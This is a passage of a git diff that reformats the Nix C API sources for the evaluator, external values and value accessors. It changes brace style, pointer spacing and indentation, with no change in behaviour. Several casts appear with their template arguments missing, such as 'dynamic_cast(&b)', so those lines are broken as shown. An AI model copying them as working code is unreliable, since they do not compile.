@return NIX_OK if the function call was successful, an error code otherwise. */ -nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, - Value *arg, Value *value); +nix_err nix_value_call(nix_c_context * context, State * state, Value * fn, Value * arg, Value * value); /** * @brief Forces the evaluation of a Nix value. @@ -117,7 +116,7 @@ nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, * @return NIX_OK if the force operation was successful, an error code * otherwise. */ -nix_err nix_value_force(nix_c_context *context, State *state, Value *value); +nix_err nix_value_force(nix_c_context * context, State * state, Value * value); /** * @brief Forces the deep evaluation of a Nix value. @@ -133,8 +132,7 @@ nix_err nix_value_force(nix_c_context *context, State *state, Value *value); * @return NIX_OK if the deep force operation was successful, an error code * otherwise. */ -nix_err nix_value_force_deep(nix_c_context *context, State *state, - Value *value); +nix_err nix_value_force_deep(nix_c_context * context, State * state, Value * value); /** * @brief Create a new Nix language evaluator state. @@ -144,8 +142,7 @@ nix_err nix_value_force_deep(nix_c_context *context, State *state, * @param[in] store The Nix store to use. * @return A new Nix state or NULL on failure. */ -State *nix_state_create(nix_c_context *context, const char **searchPath, - Store *store); +State * nix_state_create(nix_c_context * context, const char ** searchPath, Store * store); /** * @brief Frees a Nix state. @@ -154,7 +151,7 @@ State *nix_state_create(nix_c_context *context, const char **searchPath, * * @param[in] state The state to free. */ -void nix_state_free(State *state); +void nix_state_free(State * state); /** @addtogroup GC * @brief Reference counting and garbage collector operations @@ -178,14 +175,14 @@ void nix_state_free(State *state); * @param[out] context Optional, stores error information * @param[in] object The object to keep alive */ -nix_err nix_gc_incref(nix_c_context *context, const void *object); +nix_err nix_gc_incref(nix_c_context * context, const void * object); /** * @brief Decrement the garbage collector reference counter for the given object * * @param[out] context Optional, stores error information * @param[in] object The object to stop referencing */ -nix_err nix_gc_decref(nix_c_context *context, const void *object); +nix_err nix_gc_decref(nix_c_context * context, const void * object); /** * @brief Trigger the garbage collector manually @@ -203,8 +200,7 @@ void nix_gc_now(); * @param[in] cd the data to pass to the finalizer * @param[in] finalizer the callback function, called with obj and cd */ -void nix_gc_register_finalizer(void *obj, void *cd, - void (*finalizer)(void *obj, void *cd)); +void nix_gc_register_finalizer(void * obj, void * cd, void (*finalizer)(void * obj, void * cd)); /** @} */ // cffi end diff --git a/src/libexpr/c/nix_api_expr_internal.h b/src/libexpr/c/nix_api_expr_internal.h index bae50cf59..c9906dd3a 100644 --- a/src/libexpr/c/nix_api_expr_internal.h +++ b/src/libexpr/c/nix_api_expr_internal.h @@ -4,12 +4,14 @@ #include "eval.hh" #include "attr-set.hh" -struct State { - nix::EvalState state; +struct State +{ + nix::EvalState state; }; -struct BindingsBuilder { - nix::BindingsBuilder builder; +struct BindingsBuilder +{ + nix::BindingsBuilder builder; }; #endif // NIX_API_EXPR_INTERNAL_H diff --git a/src/libexpr/c/nix_api_external.cc b/src/libexpr/c/nix_api_external.cc index a927a4037..a2d776a47 100644 --- a/src/libexpr/c/nix_api_external.cc +++ b/src/libexpr/c/nix_api_external.cc @@ -20,178 +20,189 @@ #include "gc_cpp.h" #endif -struct nix_string_return { - std::string str; +struct nix_string_return +{ + std::string str; }; -struct nix_printer { - std::ostream &s; +struct nix_printer +{ + std::ostream & s; }; -struct nix_string_context { - nix::NixStringContext &ctx; +struct nix_string_context +{ + nix::NixStringContext & ctx; }; -void nix_set_string_return(nix_string_return *str, const char *c) { - str->str = c; +void nix_set_string_return(nix_string_return * str, const char * c) +{ + str->str = c; } -nix_err nix_external_print(nix_c_context *context, nix_printer *printer, - const char *c) { - if (context) - context->last_err_code = NIX_OK; - try { - printer->s << c; - } - NIXC_CATCH_ERRS +nix_err nix_external_print(nix_c_context * context, nix_printer * printer, const char * c) +{ + if (context) + context->last_err_code = NIX_OK; + try { + printer->s << c; + } + NIXC_CATCH_ERRS } -nix_err nix_external_add_string_context(nix_c_context *context, - nix_string_context *ctx, - const char *c) { - if (context) - context->last_err_code = NIX_OK; - try { - auto r = nix::NixStringContextElem::parse(c); - ctx->ctx.insert(r); - } - NIXC_CATCH_ERRS +nix_err nix_external_add_string_context(nix_c_context * context, nix_string_context * ctx, const char * c) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto r = nix::NixStringContextElem::parse(c); + ctx->ctx.insert(r); + } + NIXC_CATCH_ERRS } -class NixCExternalValue : public nix::ExternalValueBase { - NixCExternalValueDesc &desc; - void *v; +class NixCExternalValue : public nix::ExternalValueBase +{ + NixCExternalValueDesc & desc; + void * v; public: - NixCExternalValue(NixCExternalValueDesc &desc, void *v) : desc(desc), v(v){}; - void *get_ptr() { return v; } - /** - * Print out the value - */ - virtual std::ostream &print(std::ostream &str) const override { - nix_printer p{str}; - desc.print(v, &p); - return str; - } - - /** - * Return a simple string describing the type - */ - virtual std::string showType() const override { - nix_string_return res; - desc.showType(v, &res); - return std::move(res.str); - } - - /** - * Return a string to be used in builtins.typeOf - */ - virtual std::string typeOf() const override { - nix_string_return res; - desc.typeOf(v, &res); - return std::move(res.str); - } - - /** - * Coerce the value to a string. - */ - virtual std::string coerceToString(const nix::Pos &pos, - nix::NixStringContext &context, - bool copyMore, - bool copyToStore) const override { - if (!desc.coerceToString) { - return nix::ExternalValueBase::coerceToString(pos, context, copyMore, - copyToStore); + NixCExternalValue(NixCExternalValueDesc & desc, void * v) + : desc(desc) + , v(v){}; + void * get_ptr() + { + return v; } - nix_string_context ctx{context}; - nix_string_return res{""}; - // todo: pos, errors - desc.coerceToString(v, &ctx, copyMore, copyToStore, &res); - if (res.str.empty()) { - return nix::ExternalValueBase::coerceToString(pos, context, copyMore, - copyToStore); + /** + * Print out the value + */ + virtual std::ostream & print(std::ostream & str) const override + { + nix_printer p{str}; + desc.print(v, &p); + return str; } - return std::move(res.str); - } - /** - * Compare to another value of the same type. - */ - virtual bool operator==(const ExternalValueBase &b) const override { - if (!desc.equal) { - return false; + /** + * Return a simple string describing the type + */ + virtual std::string showType() const override + { + nix_string_return res; + desc.showType(v, &res); + return std::move(res.str); } - auto r = dynamic_cast(&b); - if (!r) - return false; - return desc.equal(v, r->v); - } - /** - * Print the value as JSON. - */ - virtual nlohmann::json - printValueAsJSON(nix::EvalState &state, bool strict, - nix::NixStringContext &context, - bool copyToStore = true) const override { - if (!desc.printValueAsJSON) { - return nix::ExternalValueBase::printValueAsJSON(state, strict, context, - copyToStore); + /** + * Return a string to be used in builtins.typeOf + */ + virtual std::string typeOf() const override + { + nix_string_return res; + desc.typeOf(v, &res); + return std::move(res.str); } - nix_string_context ctx{context}; - nix_string_return res{""}; - desc.printValueAsJSON(v, (State *)&state, strict, &ctx, copyToStore, &res); - if (res.str.empty()) { - return nix::ExternalValueBase::printValueAsJSON(state, strict, context, - copyToStore); - } - return nlohmann::json::parse(res.str); - } - /** - * Print the value as XML. - */ - virtual void printValueAsXML(nix::EvalState &state, bool strict, - bool location, nix::XMLWriter &doc, - nix::NixStringContext &context, - nix::PathSet &drvsSeen, - const nix::PosIdx pos) const override { - if (!desc.printValueAsXML) { - return nix::ExternalValueBase::printValueAsXML( - state, strict, location, doc, context, drvsSeen, pos); + /** + * Coerce the value to a string. + */ + virtual std::string coerceToString( + const nix::Pos & pos, nix::NixStringContext & context, bool copyMore, bool copyToStore) const override + { + if (!desc.coerceToString) { + return nix::ExternalValueBase::coerceToString(pos, context, copyMore, copyToStore); + } + nix_string_context ctx{context}; + nix_string_return res{""}; + // todo: pos, errors + desc.coerceToString(v, &ctx, copyMore, copyToStore, &res); + if (res.str.empty()) { + return nix::ExternalValueBase::coerceToString(pos, context, copyMore, copyToStore); + } + return std::move(res.str); } - nix_string_context ctx{context}; - desc.printValueAsXML(v, (State *)&state, strict, location, &doc, &ctx, - &drvsSeen, *reinterpret_cast(&pos)); - } - virtual ~NixCExternalValue() override{}; + /** + * Compare to another value of the same type. + */ + virtual bool operator==(const ExternalValueBase & b) const override + { + if (!desc.equal) { + return false; + } + auto r = dynamic_cast(&b); + if (!r) + return false; + return desc.equal(v, r->v); + } + + /** + * Print the value as JSON. + */ + virtual nlohmann::json printValueAsJSON( + nix::EvalState & state, bool strict, nix::NixStringContext & context, bool copyToStore = true) const override + { + if (!desc.printValueAsJSON) { + return nix::ExternalValueBase::printValueAsJSON(state, strict, context, copyToStore); + } + nix_string_context ctx{context}; + nix_string_return res{""}; + desc.printValueAsJSON(v, (State *) &state, strict, &ctx, copyToStore, &res); + if (res.str.empty()) { + return nix::ExternalValueBase::printValueAsJSON(state, strict, context, copyToStore); + } + return nlohmann::json::parse(res.str); + } + + /** + * Print the value as XML. + */ + virtual void printValueAsXML( + nix::EvalState & state, + bool strict, + bool location, + nix::XMLWriter & doc, + nix::NixStringContext & context, + nix::PathSet & drvsSeen, + const nix::PosIdx pos) const override + { + if (!desc.printValueAsXML) { + return nix::ExternalValueBase::printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); + } + nix_string_context ctx{context}; + desc.printValueAsXML( + v, (State *) &state, strict, location, &doc, &ctx, &drvsSeen, *reinterpret_cast(&pos)); + } + + virtual ~NixCExternalValue() override{}; }; -ExternalValue *nix_create_external_value(nix_c_context *context, - NixCExternalValueDesc *desc, void *v) { - if (context) - context->last_err_code = NIX_OK; - try { - auto ret = new +ExternalValue * nix_create_external_value(nix_c_context * context, NixCExternalValueDesc * desc, void * v) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto ret = new #ifdef HAVE_BOEHMGC - (GC) + (GC) #endif - NixCExternalValue(*desc, v); - nix_gc_incref(nullptr, ret); - return (ExternalValue *)ret; - } - NIXC_CATCH_ERRS_NULL + NixCExternalValue(*desc, v); + nix_gc_incref(nullptr, ret); + return (ExternalValue *) ret; + } + NIXC_CATCH_ERRS_NULL } -void *nix_get_external_value_content(nix_c_context *context, ExternalValue *b) { - if (context) - context->last_err_code = NIX_OK; - try { - auto r = dynamic_cast((nix::ExternalValueBase *)b); - if (r) - return r->get_ptr(); - return nullptr; - } - NIXC_CATCH_ERRS_NULL +void * nix_get_external_value_content(nix_c_context * context, ExternalValue * b) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto r = dynamic_cast((nix::ExternalValueBase *) b); + if (r) + return r->get_ptr(); + return nullptr; + } + NIXC_CATCH_ERRS_NULL } diff --git a/src/libexpr/c/nix_api_external.h b/src/libexpr/c/nix_api_external.h index 3dc9d79de..00eaa4460 100644 --- a/src/libexpr/c/nix_api_external.h +++ b/src/libexpr/c/nix_api_external.h @@ -42,7 +42,7 @@ typedef struct nix_string_context nix_string_context; * @param[out] str the nix_string_return to write to * @param[in] c The string to copy */ -void nix_set_string_return(nix_string_return *str, const char *c); +void nix_set_string_return(nix_string_return * str, const char * c); /** * Print to the nix_printer @@ -52,8 +52,7 @@ void nix_set_string_return(nix_string_return *str, const char *c); * @param[in] str The string to print * @returns NIX_OK if everything worked */ -nix_err nix_external_print(nix_c_context *context, nix_printer *printer, - const char *str); +nix_err nix_external_print(nix_c_context * context, nix_printer * printer, const char * str); /** * Add string context to the nix_string_context object @@ -62,9 +61,7 @@ nix_err nix_external_print(nix_c_context *context, nix_printer *printer, * @param[in] c The context string to add * @returns NIX_OK if everything worked */ -nix_err nix_external_add_string_context(nix_c_context *context, - nix_string_context *string_context, - const char *c); +nix_err nix_external_add_string_context(nix_c_context * context, nix_string_context * string_context, const char * c); /** * @brief Definition for a class of external values @@ -76,89 +73,88 @@ nix_err nix_external_add_string_context(nix_c_context *context, * * @see nix_create_external_value */ -typedef struct NixCExternalValueDesc { - /** - * @brief Called when printing the external value - * - * @param[in] self the void* passed to nix_create_external_value - * @param[out] printer The printer to print to, pass to nix_external_print - */ - void (*print)(void *self, nix_printer *printer); - /** - * @brief Called on :t - * @param[in] self the void* passed to nix_create_external_value - * @param[out] res the return value - */ - void (*showType)(void *self, nix_string_return *res); - /** - * @brief Called on `builtins.typeOf` - * @param self the void* passed to nix_create_external_value - * @param[out] res the return value - */ - void (*typeOf)(void *self, nix_string_return *res); - /** - * @brief Called on "${str}" and builtins.toString. - * - * The latter with coerceMore=true - * Optional, the default is to throw an error. - * @param[in] self the void* passed to nix_create_external_value - * @param[out] c writable string context for the resulting string - * @param[in] coerceMore boolean, try to coerce to strings in more cases - * instead of throwing an error - * @param[in] copyToStore boolean, whether to copy referenced paths to store - * or keep them as-is - * @param[out] res the return value. Not touching this, or setting it to the - * empty string, will make the conversion throw an error. - */ - void (*coerceToString)(void *self, nix_string_context *c, int coerceMore, - int copyToStore, nix_string_return *res); - /** - * @brief Try to compare two external values - * - * Optional, the default is always false. - * If the other object was not a Nix C external value, this comparison will - * also return false - * @param[in] self the void* passed to nix_create_external_value - * @param[in] other the void* passed to the other object's - * nix_create_external_value - * @returns true if the objects are deemed to be equal - */ - int (*equal)(void *self, void *other); - /** - * @brief Convert the external value to json - * - * Optional, the default is to throw an error - * @param[in] self the void* passed to nix_create_external_value - * @param[in] state The evaluator state - * @param[in] strict boolean Whether to force the value before printing - * @param[out] c writable string context for the resulting string - * @param[in] copyToStore whether to copy referenced paths to store or keep - * them as-is - * @param[out] res the return value. Gets parsed as JSON. Not touching this, - * or setting it to the empty string, will make the conversion throw an error. - */ - void (*printValueAsJSON)(void *self, State *, int strict, - nix_string_context *c, bool copyToStore, - nix_string_return *res); - /** - * @brief Convert the external value to XML - * - * Optional, the default is to throw an error - * @todo The mechanisms for this call are incomplete. There are no C - * bindings to work with XML, pathsets and positions. - * @param[in] self the void* passed to nix_create_external_value - * @param[in] state The evaluator state - * @param[in] strict boolean Whether to force the value before printing - * @param[in] location boolean Whether to include position information in the - * xml - * @param[out] doc XML document to output to - * @param[out] c writable string context for the resulting string - * @param[in,out] drvsSeen a path set to avoid duplicating derivations - * @param[in] pos The position of the call. - */ - void (*printValueAsXML)(void *self, State *, int strict, int location, - void *doc, nix_string_context *c, void *drvsSeen, - int pos); +typedef struct NixCExternalValueDesc +{ + /** + * @brief Called when printing the external value + * + * @param[in] self the void* passed to nix_create_external_value + * @param[out] printer The printer to print to, pass to nix_external_print + */ + void (*print)(void * self, nix_printer * printer); + /** + * @brief Called on :t + * @param[in] self the void* passed to nix_create_external_value + * @param[out] res the return value + */ + void (*showType)(void * self, nix_string_return * res); + /** + * @brief Called on `builtins.typeOf` + * @param self the void* passed to nix_create_external_value + * @param[out] res the return value + */ + void (*typeOf)(void * self, nix_string_return * res); + /** + * @brief Called on "${str}" and builtins.toString. + * + * The latter with coerceMore=true + * Optional, the default is to throw an error. + * @param[in] self the void* passed to nix_create_external_value + * @param[out] c writable string context for the resulting string + * @param[in] coerceMore boolean, try to coerce to strings in more cases + * instead of throwing an error + * @param[in] copyToStore boolean, whether to copy referenced paths to store + * or keep them as-is + * @param[out] res the return value. Not touching this, or setting it to the + * empty string, will make the conversion throw an error. + */ + void (*coerceToString)( + void * self, nix_string_context * c, int coerceMore, int copyToStore, nix_string_return * res); + /** + * @brief Try to compare two external values + * + * Optional, the default is always false. + * If the other object was not a Nix C external value, this comparison will + * also return false + * @param[in] self the void* passed to nix_create_external_value + * @param[in] other the void* passed to the other object's + * nix_create_external_value + * @returns true if the objects are deemed to be equal + */ + int (*equal)(void * self, void * other); + /** + * @brief Convert the external value to json + * + * Optional, the default is to throw an error + * @param[in] self the void* passed to nix_create_external_value + * @param[in] state The evaluator state + * @param[in] strict boolean Whether to force the value before printing + * @param[out] c writable string context for the resulting string + * @param[in] copyToStore whether to copy referenced paths to store or keep + * them as-is + * @param[out] res the return value. Gets parsed as JSON. Not touching this, + * or setting it to the empty string, will make the conversion throw an error. + */ + void (*printValueAsJSON)( + void * self, State *, int strict, nix_string_context * c, bool copyToStore, nix_string_return * res); + /** + * @brief Convert the external value to XML + * + * Optional, the default is to throw an error + * @todo The mechanisms for this call are incomplete. There are no C + * bindings to work with XML, pathsets and positions. + * @param[in] self the void* passed to nix_create_external_value + * @param[in] state The evaluator state + * @param[in] strict boolean Whether to force the value before printing + * @param[in] location boolean Whether to include position information in the + * xml + * @param[out] doc XML document to output to + * @param[out] c writable string context for the resulting string + * @param[in,out] drvsSeen a path set to avoid duplicating derivations + * @param[in] pos The position of the call. + */ + void (*printValueAsXML)( + void * self, State *, int strict, int location, void * doc, nix_string_context * c, void * drvsSeen, int pos); } NixCExternalValueDesc; /** @@ -173,8 +169,7 @@ typedef struct NixCExternalValueDesc { * @returns external value, owned by the garbage collector * @see nix_set_external */ -ExternalValue *nix_create_external_value(nix_c_context *context, - NixCExternalValueDesc *desc, void *v); +ExternalValue * nix_create_external_value(nix_c_context * context, NixCExternalValueDesc * desc, void * v); /** * @brief Extract the pointer from a nix c external value. @@ -183,7 +178,7 @@ ExternalValue *nix_create_external_value(nix_c_context *context, * @returns The pointer, or null if the external value was not from nix c. * @see nix_get_external */ -void *nix_get_external_value_content(nix_c_context *context, ExternalValue *b); +void * nix_get_external_value_content(nix_c_context * context, ExternalValue * b); // cffi end #ifdef __cplusplus diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index dae50352b..608a625cb 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -18,437 +18,457 @@ #endif // Helper function to throw an exception if value is null -static const nix::Value &check_value_not_null(const Value *value) { - if (!value) { - throw std::runtime_error("Value is null"); - } - return *((const nix::Value *)value); +static const nix::Value & check_value_not_null(const Value * value) +{ + if (!value) { + throw std::runtime_error("Value is null"); + } + return *((const nix::Value *) value); } -static nix::Value &check_value_not_null(Value *value) { - if (!value) { - throw std::runtime_error("Value is null"); - } - return *((nix::Value *)value); +static nix::Value & check_value_not_null(Value * value) +{ + if (!value) { + throw std::runtime_error("Value is null"); + } + return *((nix::Value *) value); } -PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, - const char *name, const char **args, const char *doc) { - if (context) - context->last_err_code = NIX_OK; - try { - auto fun2 = (nix::PrimOpFun)fun; - auto p = new +PrimOp * nix_alloc_primop( + nix_c_context * context, PrimOpFun fun, int arity, const char * name, const char ** args, const char * doc) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto fun2 = (nix::PrimOpFun) fun; + auto p = new #ifdef HAVE_BOEHMGC - (GC) + (GC) #endif - nix::PrimOp{.name = name, - .args = {}, - .arity = (size_t)arity, - .doc = doc, - .fun = fun2}; - if (args) - for (size_t i = 0; args[i]; i++) - p->args.emplace_back(*args); - nix_gc_incref(nullptr, p); - return (PrimOp *)p; - } - NIXC_CATCH_ERRS_NULL -} - -nix_err nix_register_primop(nix_c_context *context, PrimOp *primOp) { - if (context) - context->last_err_code = NIX_OK; - try { - nix::RegisterPrimOp r(std::move(*((nix::PrimOp *)primOp))); - } - NIXC_CATCH_ERRS -} - -Value *nix_alloc_value(nix_c_context *context, State *state) { - if (context) - context->last_err_code = NIX_OK; - try { - Value *res = state->state.allocValue(); - nix_gc_incref(nullptr, res); - return res; - } - NIXC_CATCH_ERRS_NULL -} - -ValueType nix_get_type(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - using namespace nix; - switch (v.type()) { - case nThunk: - return NIX_TYPE_THUNK; - case nInt: - return NIX_TYPE_INT; - case nFloat: - return NIX_TYPE_FLOAT; - case nBool: - return NIX_TYPE_BOOL; - case nString: - return NIX_TYPE_STRING; - case nPath: - return NIX_TYPE_PATH; - case nNull: - return NIX_TYPE_NULL; - case nAttrs: - return NIX_TYPE_ATTRS; - case nList: - return NIX_TYPE_LIST; - case nFunction: - return NIX_TYPE_FUNCTION; - case nExternal: - return NIX_TYPE_EXTERNAL; + nix::PrimOp{.name = name, .args = {}, .arity = (size_t) arity, .doc = doc, .fun = fun2}; + if (args) + for (size_t i = 0; args[i]; i++) + p->args.emplace_back(*args); + nix_gc_incref(nullptr, p); + return (PrimOp *) p; } - return NIX_TYPE_NULL; - } - NIXC_CATCH_ERRS_RES(NIX_TYPE_NULL); + NIXC_CATCH_ERRS_NULL } -const char *nix_get_typename(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - auto s = nix::showType(v); - return strdup(s.c_str()); - } - NIXC_CATCH_ERRS_NULL -} - -bool nix_get_bool(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nBool); - return v.boolean; - } - NIXC_CATCH_ERRS_RES(false); -} - -const char *nix_get_string(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nString); - return v.string.s; - } - NIXC_CATCH_ERRS_NULL -} - -const char *nix_get_path_string(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nPath); - return v._path; - } - NIXC_CATCH_ERRS_NULL -} - -unsigned int nix_get_list_size(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nList); - return v.listSize(); - } - NIXC_CATCH_ERRS_RES(0); -} - -unsigned int nix_get_attrs_size(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nAttrs); - return v.attrs->size(); - } - NIXC_CATCH_ERRS_RES(0); -} - -double nix_get_float(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nFloat); - return v.fpoint; - } - NIXC_CATCH_ERRS_RES(NAN); -} - -int64_t nix_get_int(nix_c_context *context, const Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nInt); - return v.integer; - } - NIXC_CATCH_ERRS_RES(0); -} - -ExternalValue *nix_get_external(nix_c_context *context, Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nExternal); - return (ExternalValue *)v.external; - } - NIXC_CATCH_ERRS_NULL; -} - -Value *nix_get_list_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int ix) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nList); - auto *p = v.listElems()[ix]; - nix_gc_incref(nullptr, p); - state->state.forceValue(*p, nix::noPos); - return (Value *)p; - } - NIXC_CATCH_ERRS_NULL -} - -Value *nix_get_attr_byname(nix_c_context *context, const Value *value, - State *state, const char *name) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nAttrs); - nix::Symbol s = state->state.symbols.create(name); - auto attr = v.attrs->get(s); - if (attr) { - nix_gc_incref(nullptr, attr->value); - state->state.forceValue(*attr->value, nix::noPos); - return attr->value; +nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::RegisterPrimOp r(std::move(*((nix::PrimOp *) primOp))); } - nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); - return nullptr; - } - NIXC_CATCH_ERRS_NULL + NIXC_CATCH_ERRS } -bool nix_has_attr_byname(nix_c_context *context, const Value *value, - State *state, const char *name) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - assert(v.type() == nix::nAttrs); - nix::Symbol s = state->state.symbols.create(name); - auto attr = v.attrs->get(s); - if (attr) - return true; - return false; - } - NIXC_CATCH_ERRS_RES(false); +Value * nix_alloc_value(nix_c_context * context, State * state) +{ + if (context) + context->last_err_code = NIX_OK; + try { + Value * res = state->state.allocValue(); + nix_gc_incref(nullptr, res); + return res; + } + NIXC_CATCH_ERRS_NULL } -Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int i, const char **name) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - const nix::Attr &a = (*v.attrs)[i]; - *name = ((const std::string &)(state->state.symbols[a.name])).c_str(); - nix_gc_incref(nullptr, a.value); - state->state.forceValue(*a.value, nix::noPos); - return a.value; - } - NIXC_CATCH_ERRS_NULL +ValueType nix_get_type(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + using namespace nix; + switch (v.type()) { + case nThunk: + return NIX_TYPE_THUNK; + case nInt: + return NIX_TYPE_INT; + case nFloat: + return NIX_TYPE_FLOAT; + case nBool: + return NIX_TYPE_BOOL; + case nString: + return NIX_TYPE_STRING; + case nPath: + return NIX_TYPE_PATH; + case nNull: + return NIX_TYPE_NULL; + case nAttrs: + return NIX_TYPE_ATTRS; + case nList: + return NIX_TYPE_LIST; + case nFunction: + return NIX_TYPE_FUNCTION; + case nExternal: + return NIX_TYPE_EXTERNAL; + } + return NIX_TYPE_NULL; + } + NIXC_CATCH_ERRS_RES(NIX_TYPE_NULL); } -const char *nix_get_attr_name_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int i) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - const nix::Attr &a = (*v.attrs)[i]; - return ((const std::string &)(state->state.symbols[a.name])).c_str(); - } - NIXC_CATCH_ERRS_NULL +const char * nix_get_typename(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + auto s = nix::showType(v); + return strdup(s.c_str()); + } + NIXC_CATCH_ERRS_NULL } -nix_err nix_set_bool(nix_c_context *context, Value *value, bool b) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkBool(b); - } - NIXC_CATCH_ERRS +bool nix_get_bool(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nBool); + return v.boolean; + } + NIXC_CATCH_ERRS_RES(false); +} + +const char * nix_get_string(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nString); + return v.string.s; + } + NIXC_CATCH_ERRS_NULL +} + +const char * nix_get_path_string(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nPath); + return v._path; + } + NIXC_CATCH_ERRS_NULL +} + +unsigned int nix_get_list_size(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nList); + return v.listSize(); + } + NIXC_CATCH_ERRS_RES(0); +} + +unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nAttrs); + return v.attrs->size(); + } + NIXC_CATCH_ERRS_RES(0); +} + +double nix_get_float(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nFloat); + return v.fpoint; + } + NIXC_CATCH_ERRS_RES(NAN); +} + +int64_t nix_get_int(nix_c_context * context, const Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nInt); + return v.integer; + } + NIXC_CATCH_ERRS_RES(0); +} + +ExternalValue * nix_get_external(nix_c_context * context, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nExternal); + return (ExternalValue *) v.external; + } + NIXC_CATCH_ERRS_NULL; +} + +Value * nix_get_list_byidx(nix_c_context * context, const Value * value, State * state, unsigned int ix) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nList); + auto * p = v.listElems()[ix]; + nix_gc_incref(nullptr, p); + state->state.forceValue(*p, nix::noPos); + return (Value *) p; + } + NIXC_CATCH_ERRS_NULL +} + +Value * nix_get_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nAttrs); + nix::Symbol s = state->state.symbols.create(name); + auto attr = v.attrs->get(s); + if (attr) { + nix_gc_incref(nullptr, attr->value); + state->state.forceValue(*attr->value, nix::noPos); + return attr->value; + } + nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); + return nullptr; + } + NIXC_CATCH_ERRS_NULL +} + +bool nix_has_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + assert(v.type() == nix::nAttrs); + nix::Symbol s = state->state.symbols.create(name); + auto attr = v.attrs->get(s); + if (attr) + return true; + return false; + } + NIXC_CATCH_ERRS_RES(false); +} + +Value * +nix_get_attr_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i, const char ** name) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + const nix::Attr & a = (*v.attrs)[i]; + *name = ((const std::string &) (state->state.symbols[a.name])).c_str(); + nix_gc_incref(nullptr, a.value); + state->state.forceValue(*a.value, nix::noPos); + return a.value; + } + NIXC_CATCH_ERRS_NULL +} + +const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + const nix::Attr & a = (*v.attrs)[i]; + return ((const std::string &) (state->state.symbols[a.name])).c_str(); + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_set_bool(nix_c_context * context, Value * value, bool b) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkBool(b); + } + 